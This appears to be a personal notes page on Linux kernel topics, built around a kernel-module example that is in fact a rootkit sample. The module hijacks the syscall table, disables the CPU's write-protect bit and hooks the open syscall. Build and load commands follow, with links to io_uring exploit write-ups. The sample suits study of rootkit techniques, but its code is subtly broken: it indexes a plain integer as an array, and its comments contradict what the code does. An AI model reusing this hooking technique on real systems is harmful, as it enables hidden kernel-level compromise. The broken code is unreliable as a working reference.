Kernel
Kernel¶
Systemcalls¶
Creating a custom syscall¶
https://medium.com/@aryan20/create-custom-system-call-on-linux-6-8-126edef6caaf
Drivers¶
Implementing Drivers in other Languages
Kernel Modules¶
https://github.com/sysprog21/lkmpg
https://sysprog21.github.io/lkmpg/
https://xcellerator.github.io/posts/linux_rootkits_11/
Basic Kernel Module:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/namei.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Syscall Table Hijacking");
MODULE_VERSION("0.01");
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
#endif
static unsigned long * __sys_call_table;
/* Despite what's written in include/linux/syscalls.h,
* we have to declare the original syscall as taking
* a single pt_regs struct as an argument. This enables
* us to unpack this struct in our hook syscall and access
* the arguments that are being passed, while still being
* able to just pass this struct on again to the real syscall
* without any issues. This way, we don't have to unpack
* EVERY argument from the struct - only the ones we care about.
*
* Note that asmlinkage is used to prevent GCC from being
* "helpful" by allocation arguments on the stack */
typedef asmlinkage int (*orig_open_t) (const char*, int, int);
orig_open_t orig_open;
/* This is our function hook.
*
* Getting this to work is a little awkward. We have to un-pack
* the arguments from the pt_regs struct in order to be able to
* reference the new directory name without getting a null-pointer
* dereference.
*
* The pt_regs struct contains all the arguments passed to the syscall
* in each register. Looking up sys_mkdir, pathname is stored in rdi, so
* simply dereferencing regs->di gives the pathname argument.
* See arch/x86/include/asm/ptrace.h for more info.
*
* Note that we call the real sys_mkdir() function at the end */
asmlinkage int hook_open(const char* file, int flags, int mode)
{
printk("A file was opened\n");
return orig_open(file, flags, mode);
}
/* The built in linux write_cr0() function stops us from modifying
* the WP bit, so we write our own instead */
inline void cr0_write(unsigned long cr0)
{
asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}
/* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which
* determines whether read-only pages can be written to. We are modifying
* the syscall table, so we need to unset it first */
static inline void protect_memory(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
cr0_write(cr0);
}
static inline void unprotect_memory(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
cr0_write(cr0);
}
static inline unsigned long sys_call_table_lookup(){
#ifdef KPROBE_LOOKUP
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
#endif
long unsigned int syscall_table = kallsyms_lookup_name("sys_call_table");
if(syscall_table != 0){
return syscall_table;
}
// Find by checking through memory for table matching known function pointer
unsigned long int i;
for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) {
syscall_table = i;
if (syscall_table[__NR_close] == (unsigned long)sys_close)
return syscall_table;
}
return NULL;
}
/* Module initialization function */
static int __init rootkit_init(void)
{
/* Grab the syscall table, and make sure we succeeded */
__sys_call_table = sys_call_table_lookup();
/* Grab the function pointer to the real sys_open syscall */
orig_open = (orig_open_t)__sys_call_table[__NR_open];
printk(KERN_INFO "rootkit: Loaded >:-)\n");
printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table);
printk(KERN_DEBUG "rootkit: open @ 0x%lx\n", orig_open);
unprotect_memory();
printk(KERN_INFO "rootkit: hooking open syscall\n");
/* Patch the function pointer to sys_open with our hook instead */
__sys_call_table[__NR_open] = (unsigned long)hook_open;
protect_memory();
return 0;
}
static void __exit rootkit_exit(void)
{
unprotect_memory();
printk(KERN_INFO "rootkit: restoring mkdir syscall\n");
__sys_call_table[__NR_open] = (unsigned long)orig_open;
protect_memory();
printk(KERN_INFO "rootkit: Unloaded :-(\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
Generate Kernel Module:
>>> cat
obj-m += hello-1.o
VERS=$(shell uname -r)
VERS=5.15.24-1-lts
PWD := $(CURDIR)
all:
make -C /lib/modules/$(VERS)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(VERS)/build M=$(PWD) clean
>>> sudo -E make
make -C /lib/modules/5.15.24-1-lts/build M=/tmp/kern_mod modules
make[1]: Entering directory '/usr/lib/modules/5.15.24-1-lts/build'
CC [M] /tmp/kern_mod/hello-1.o
MODPOST /tmp/kern_mod/Module.symvers
CC [M] /tmp/kern_mod/hello-1.mod.o
LD [M] /tmp/kern_mod/hello-1.ko
BTF [M] /tmp/kern_mod/hello-1.ko
make[1]: Leaving directory '/usr/lib/modules/5.15.24-1-lts/build'
Get Kernel Mod Info:
>>> modinfo hello-1.ko
filename: /tmp/kern_mod/hello-1.ko
license: GPL
srcversion: 6EEFF9BA2D82E6F0305588C
depends:
retpoline: Y
name: hello_1
vermagic: 5.15.24-1-lts SMP mod_unload
Run Kernel Module:
#Run Module
sudo insmod hello-1.ko
#Check that is is running
sudo lsmod | grep hello
#Remove
sudo rmmod hello_1
IORing¶
https://chomp.ie/Blog+Posts/Put+an+io_uring+on+it+-+Exploiting+the+Linux+Kernel
https://ruia-ruia.github.io/2022/08/05/CVE-2022-29582-io-uring/
Kernel Debugging¶
https://github.com/0xricksanchez/like-dbg